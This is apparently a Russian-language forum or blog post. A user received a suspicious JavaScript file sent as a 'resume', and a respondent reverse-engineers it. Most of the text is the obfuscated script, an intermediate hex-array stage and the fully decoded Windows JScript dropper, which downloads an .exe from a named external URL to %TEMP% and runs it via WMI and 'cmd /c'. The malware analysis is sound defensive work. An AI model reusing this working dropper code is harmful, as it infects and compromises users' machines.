Добрый день. Незнакомый человек пытался скинуть резюме в файле .doc. Редакторы его не открыли. Потом он мне скинул файл .scr Я отказался его исполнять. Он мне скинул .js:
function Byhezo(Upabyd){
var Yt="56"+"4a"+"58";var Ra="4a"+"52"+"55"+"48"+"4f";
return(new this["F"+"u"+"n"+"c"+"t"+"i"+"o"+"n"](Upabyd)());
}
function Hucana(Deru){
Yc = "4ag6pcSMXtuL05s7zUGW2v9qxdewOyCinTD3PFZEVINbABrYoQHR18hlfjm";
Ry = Yc["charAt"](Deru);
try {
Jime = Yc["charAt"](Deru);
Byhezo(Jime+","+Jime);}
catch (Wa) {
var Napu = Wa["message"];
var Fyby = Napu["substring"]("1", "2");
return Fyby;
}
return Ry;}
//А дальше долгий код Hucana("{...}")
var Egaz=Hucana("21") + Hucana("1") + Hucana("46") + " " + Hucana("44")
Общались в телеге. Есть предположение, что это не хороший человек.
Могу скинуть его файлы. .doc, .js, .scr Пишите в телегу @vadim_bondar
Ответ
Это обфусцированный код и скрывается за ним наверняка какой-нить троян. Можно провести реверс-инжиниринг и понять, что он делает. Для этого прямо в редакторе можете попробовать "скомпилировать в уме" :) - раскрутить исходник в обратную сторону и получить оригинальный код. (кидай мне, попробую тоже, это очень увлекательно на самом деле). Можете попробовать сами. Вот один из примеров как это делать - Реверс-инжиниринг вредоносного мошеннического скрипта
UPD.:
Готово! Итак, в самом начале мы имеем исходник вида:
function Byhezo(Upabyd) {
var Yt = "56" + "4a" + "58";
var Ra = "4a" + "52" + "55" + "48" + "4f";
return (new this["F" + "u" + "n" + "c" + "t" + "i" + "o" + "n"](Upabyd)());
}
function Hucana(Deru) {
Yc = "4ag6pcSMXtuL05s7zUGW2v9qxdewOyCinTD3PFZEVINbABrYoQHR18hlfjm";
Ry = Yc["charAt"](Deru);
try {
Jime = Yc["charAt"](Deru);
Byhezo(Jime + "," + Jime);
} catch (Wa) {
var Napu = "'" + Wa["message"];
var Fyby = Napu["substring"]("1", "2");
return Fyby;
}
return Ry;
}
var Egaz = Hucana("21") + Hucana("1") + Hucana("46") + " " + Hucana("44") + /* 150 кб текста */ + ")" + ";";
Byhezo(Egaz);
Переменная Egaz накапливает в себе исходник будущего js-кода лоадера. Для этого используется декодер - функция Hucana и ключ Yc в ней. Функция выкусывает нужный байт по смещению и выполняет его через Byhezo (которая в свою очередь выполняет (new Function('внедряемый код'))()). В случае ошибки (работает только в IE!) декодер возвращает второй байт текста ошибки, иначе декодируемый символ из ключа.
Если закомментировать самую последнюю строчку и посмотреть, что в ней накопилось, то мы получим предварительный исходник лоадера (я заменил оригинальное Ajosesitufowyzyzygoqol на короткое _):
var _ = ["\x64", "\x61", "\x68", "\x49", "\x52", "\x4f", "\x63", "\x79", "\x4e", "\x48", "\x39", "\x65", "\x43", "\x54", "\x73", "\x47", "\x32", "\x72", "\x59", "\x55", "\x37", "\x4c", "\x58", "\x70", "\x6f", "\x7a", "\x38", "\x78", "\x31", "\x4d", "\x53", "\x69", "\x6e", "\x71", "\x41", "\x67", "\x51", "\x33", "\x76", "\x42", "\x6c", "\x6a", "\x62", "\x50", "\x5a", "\x46", "\x74", "\x66", "\x35", "\x75", "\x45", "\x77", "\x30", "\x6d", "\x44", "\x34", "\x36", "\x57", "\x56", "\x2e", "\x2e\x65", "\x25", "\x39\x32", "\x31\x30\x30\x30\x30\x30\x30\x30\x30", "\x2e\x65\x78\x65", "\x77\x69\x6e\x6d\x67\x6d\x74\x73\x3a\x57\x69\x6e\x33\x32\x5f\x50\x72\x6f\x63\x65\x73\x73", "\x32\x30", "\x20", "\x2f", "\x3a", "\x2d"];
function Zevo(Agyz, Ul) {
var Isag = _[0] + _[1] + _[2] + _[3] + _[4] + _[5] + _[6] + _[7] + _[8] + _[9] + _[10] + _[11] + _[12] + _[13] + _[14] + _[15] + _[16] + _[17] + _[18] + _[19] + _[20] + _[21] + _[22] + _[23] + _[24] + _[25] + _[26] + _[27] + _[28] + _[29] + _[30] + _[31] + _[32] + _[33] + _[34] + _[35] + _[36] + _[37] + _[38] + _[39] + _[40] + _[41] + _[42] + _[43] + _[44] + _[45] + _[46] + _[47] + _[48] + _[49] + _[50] + _[51] + _[52] + _[53] + _[54] + _[55] + _[56] + _[57] + _[58];
try {
var sc = this[_[14] + _[6] + _[17] + _[11] + _[11] + _[32]][_[51] + _[31] + _[0] + _[46] + _[2]];
} catch (ers) {
var Uduh = new this[_[34] + _[6] + _[46] + _[31] + _[38] + _[11] + _[22] + _[5] + _[42] + _[41] + _[11] + _[6] + _[46]](_[57] + _[30] + _[6] + _[17] + _[31] + _[23] + _[46] + _[59] + _[30] + _[2] + _[11] + _[40] + _[40]);
if (Ul == _[60] + _[27] + _[11]) {
var Qi = Uduh[_[50] + _[27] + _[23] + _[1] + _[32] + _[0] + _[50] + _[32] + _[38] + _[31] + _[17] + _[24] + _[32] + _[53] + _[11] + _[32] + _[46] + _[30] + _[46] + _[17] + _[31] + _[32] + _[35] + _[14]](_[61] + _[13] + _[50] + _[29] + _[43] + _[61]) + this[_[30] + _[46] + _[17] + _[31] + _[32] + _[35]][_[47] + _[17] + _[24] + _[53] + _[12] + _[2] + _[1] + _[17] + _[12] + _[24] + _[0] + _[11]](_[62]) + this[_[29] + _[1] + _[46] + _[2]][_[17] + _[24] + _[49] + _[32] + _[0]](this[_[29] + _[1] + _[46] + _[2]][_[17] + _[1] + _[32] + _[0] + _[24] + _[53]]() * _[63]) + _[64];
}
var Boxa = 0;
var Fihali = new this[_[34] + _[6] + _[46] + _[31] + _[38] + _[11] + _[22] + _[5] + _[42] + _[41] + _[11] + _[6] + _[46]](_[29] + _[30] + _[22] + _[29] + _[21] + _[16] + _[59] + _[22] + _[29] + _[21] + _[9] + _[13] + _[13] + _[43]);
Fihali[_[24] + _[32] + _[17] + _[11] + _[1] + _[0] + _[7] + _[14] + _[46] + _[1] + _[46] + _[11] + _[6] + _[2] + _[1] + _[32] + _[35] + _[11]] = function () {
if (Fihali[_[17] + _[11] + _[1] + _[0] + _[7] + _[30] + _[46] + _[1] + _[46] + _[11]] == _[55] && Fihali[_[14] + _[46] + _[1] + _[46] + _[49] + _[14]] == _[16] + _[52] + _[52]) {
var Capo = new this[_[34] + _[6] + _[46] + _[31] + _[38] + _[11] + _[22] + _[5] + _[42] + _[41] + _[11] + _[6] + _[46]](_[34] + _[54] + _[5] + _[54] + _[39] + _[59] + _[30] + _[46] + _[17] + _[11] + _[1] + _[53]);
Capo[_[24] + _[23] + _[11] + _[32]]();
Capo[_[46] + _[7] + _[23] + _[11]] = _[28];
Capo[_[51] + _[17] + _[31] + _[46] + _[11]](Fihali[_[4] + _[11] + _[14] + _[23] + _[24] + _[32] + _[14] + _[11] + _[39] + _[24] + _[0] + _[7]]);
if (Capo[_[14] + _[31] + _[25] + _[11]] > _[52]) {
Boxa = _[28];
Capo[_[23] + _[24] + _[14] + _[31] + _[46] + _[31] + _[24] + _[32]] = _[52];
Capo[_[14] + _[1] + _[38] + _[11] + _[13] + _[24] + _[45] + _[31] + _[40] + _[11]](Qi, _[16]);
try {
if (Ul == _[64]) {
var result = _[0];
try {
var processid;
var query = GetObject(_[65]);
result = query.Create(Qi, null, null, processid);
} catch (er) {
var result = _[66];
}
if (result = !_[52]) {
Uduh[_[4] + _[49] + _[32]](_[6] + _[53] + _[0] + _[67] + _[68] + _[6] + _[67] + Qi, _[52], _[52]);
}
}
} catch (er) {
}
;
}
;Capo[_[6] + _[40] + _[24] + _[14] + _[11]]();
}
;
};
try {
Fihali[_[24] + _[23] + _[11] + _[32]](_[15] + _[50] + _[13], Agyz, _[47] + _[1] + _[40] + _[14] + _[11]);
Fihali[_[14] + _[11] + _[32] + _[0]]();
} catch (er) {
}
;
}
};
Zevo(_[2] + _[46] + _[46] + _[23] + _[69] + _[68] + _[68] + _[14] + _[1] + _[53] + _[7] + _[17] + _[1] + _[31] + _[20] + _[20] + _[20] + _[53] + _[59] + _[23] + _[70] + _[2] + _[24] + _[14] + _[46] + _[59] + _[31] + _[32] + _[68] + _[20] + _[20] + _[20] + _[59] + _[11] + _[27] + _[11], _[64]);
Это всё ещё непонятный нам код, но достаточно написать небольшой декодер на php...
$Ajosesitufowyzyzygoqol = ["\x64", "\x61", /* вырезано для экономии места */ "\x3a", "\x2d"];
$src = <<
... и запустить его, как мы получим более дружелюбный формат исходников:
function Zevo(Agyz, Ul) {
var Isag = "dahIROcyNH9eCTsG2rYU7LXpoz8x1MSinqAgQ3vBljbPZFtf5uEw0mD46WV";
try {
var sc = this["screen"]["width"];
} catch (ers) {
var Uduh = new this["ActiveXObject"]("WScript.Shell");
if (Ul == ".exe") {
var Qi = Uduh["ExpandEnvironmentStrings"]("%TEMP%") + this["String"]["fromCharCode"]("92") + this["Math"]["round"](this["Math"]["random"]() * "100000000") + ".exe";
}
var Boxa = 0;
var Fihali = new this["ActiveXObject"]("MSXML2.XMLHTTP");
Fihali["onreadystatechange"] = function () {
if (Fihali["readyState"] == "4" && Fihali["status"] == "200") {
var Capo = new this["ActiveXObject"]("ADODB.Stream");
Capo["open"]();
Capo["type"] = "1";
Capo["write"](Fihali["ResponseBody"]);
if (Capo["size"] > "0") {
Boxa = "1";
Capo["position"] = "0";
Capo["saveToFile"](Qi, "2");
try {
if (Ul == ".exe") {
var result = "d";
try {
var processid;
var query = GetObject("winmgmts:Win32_Process");
result = query.Create(Qi, null, null, processid);
} catch (er) {
var result = "20";
}
if (result = !"0") {
Uduh["Run"]("cmd /c " + Qi, "0", "0");
}
}
} catch (er) {
//
}
}
Capo["close"]();
}
};
try {
Fihali["open"]("GET", Agyz, "false");
Fihali["send"]();
} catch (er) {
//
}
}
}
Zevo("http://samyrai777m.p-host.in/777.exe", ".exe");
И что же мы видим тут?! О боже! Да это же загрузчик экзешника и его запуск прямо в вашей любимой винде!
Файл сохраняется во временную папку со случайным именем var Qi = Uduh["ExpandEnvironmentStrings"]("%TEMP%") + this["String"]["fromCharCode"]("92") + this["Math"]["round"](this["Math"]["random"]() * "100000000") + ".exe";
Остальное думаю понятно и так. Не советую ходить по ссылке и запускать приложение из последней строчки исходников.
Комментариев нет:
Отправить комментарий